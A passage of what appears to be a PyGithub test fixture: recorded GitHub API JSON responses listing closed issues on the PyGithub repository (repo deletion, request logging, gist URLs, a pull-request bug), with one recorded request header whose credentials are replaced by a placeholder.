rl":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I'm just starting to to use PyGithub (and python). Thanks for creating such a useful tool. I'm teaching a large class and using PyGithub to programmatically manage hundreds of repos.\n\nIs there a way to delete a repo via PyGithub? github API v3 includes this, but I don't see a Repository.delete() method in PyGithub.\n\nAnother minor (and unrelated) issue: Is there a way to get_team by name (instead of by id)? The only way I can see to find a team by name is by iterating over all teams and looking at team.name.\n\nThanks for your help."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/119/events","html_url":"https://github.com/jacquev6/PyGithub/issues/119","id":9209408,"number":119,"title":"gists new api","user":{"login":"cancerhermit","id":1584557,"avatar_url":"https://secure.gravatar.com/avatar/9be6dcfe3820b88a23001e4758ca6703?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9be6dcfe3820b88a23001e4758ca6703","url":"https://api.github.com/users/cancerhermit","html_url":"https://github.com/cancerhermit","followers_url":"https://api.github.com/users/cancerhermit/followers","following_url":"https://api.github.com/users/cancerhermit/following{/other_user}","gists_url":"https://api.github.com/users/cancerhermit/gists{/gist_id}","starred_url":"https://api.github.com/users/cancerhermit/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cancerhermit/subscriptions","organizations_url":"https://api.github.com/users/cancerhermit/orgs","repos_url":"https://api.github.com/users/cancerhermit/repos","events_url":"https://api.github.com/users/cancerhermit/events{/privacy}","received_events_url":"https://api.github.com/users/cancerhermit/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/16/labels","id":215570,"number":16,"title":"Version 1.10.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":10,"state":"closed","created_at":"2012-11-19T20:02:45Z","updated_at":"2012-12-25T12:25:01Z","due_on":null},"comments":4,"created_at":"2012-12-12T08:47:25Z","updated_at":"2012-12-21T20:39:17Z","closed_at":"2012-12-21T20:39:17Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"https://github.com/blog/1276-welcome-to-a-new-gist . git:// not work, new urls is https://"}] https GET api.github.com None /user/issues?direction=asc&filter=assigned&labels=Requested+by+user&page=2&since=2012-05-28T23%3A00%3A00Z&sort=comments&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '143568'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:34:11 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"36fb6631d2714acfd6169b3d779277e5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:45:03 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/events","html_url":"https://github.com/jacquev6/PyGithub/issues/88","id":6912733,"number":88,"title":"Use Python logging to log raw requests","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":5,"created_at":"2012-09-17T08:19:42Z","updated_at":"2012-09-25T20:57:52Z","closed_at":"2012-09-25T20:57:52Z","pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/88","diff_url":"https://github.com/jacquev6/PyGithub/pull/88.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/88.patch"},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I replaced the commented-out print statement in Requester.py with a call to Python [logging](http://docs.python.org/library/logging.html) so that users have the option to trace low-level api.github.com requests without having to hack their installed PyGithub package: they just put `logging.getLogger('github').setLevel(logging.DEBUG)` in their script.\n\nI don't have any strong opinion as to whether you should pull this change or not. I found it useful while debugging #87, you may decide you don't like it; no problem."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/131/events","html_url":"https://github.com/jacquev6/PyGithub/issues/131","id":9948505,"number":131,"title":"Fix PullRequestPart when using get_pulls() and the head user is an Organization","user":{"login":"sbesson","id":1355463,"avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","url":"https://api.github.com/users/sbesson","html_url":"https://github.com/sbesson","followers_url":"https://api.github.com/users/sbesson/followers","following_url":"https://api.github.com/users/sbesson/following{/other_user}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","organizations_url":"https://api.github.com/users/sbesson/orgs","repos_url":"https://api.github.com/users/sbesson/repos","events_url":"https://api.github.com/users/sbesson/events{/privacy}","received_events_url":"https://api.github.com/users/sbesson/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/19/labels","id":234630,"number":19,"title":"Version 1.11.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":7,"state":"closed","created_at":"2012-12-25T12:26:40Z","updated_at":"2013-02-07T18:18:31Z","due_on":"2013-02-08T08:00:00Z"},"comments":5,"created_at":"2013-01-14T16:46:39Z","updated_at":"2013-02-04T09:57:31Z","closed_at":"2013-02-03T17:33:11Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Error can be reproduced with the following example:\r\n```\r\nimport github\r\nrepo = github.Github().get_user(\"openmicroscopy\").get_repo(\"ome-documentation\")\r\n\r\nassert repo.get_pull(204).head.user.login == 'imcf'\r\n\r\nfor pr in list(repo.get_pulls('closed')):\r\n\tif pr.number == 204:\r\n\t\tassert pr.head.user is None\r\n```\r\n\r\n/cc @joshmoore"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/142/events","html_url":"https://github.com/jacquev6/PyGithub/issues/142","id":11503771,"number":142,"title":"Bug with Python 3?","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c0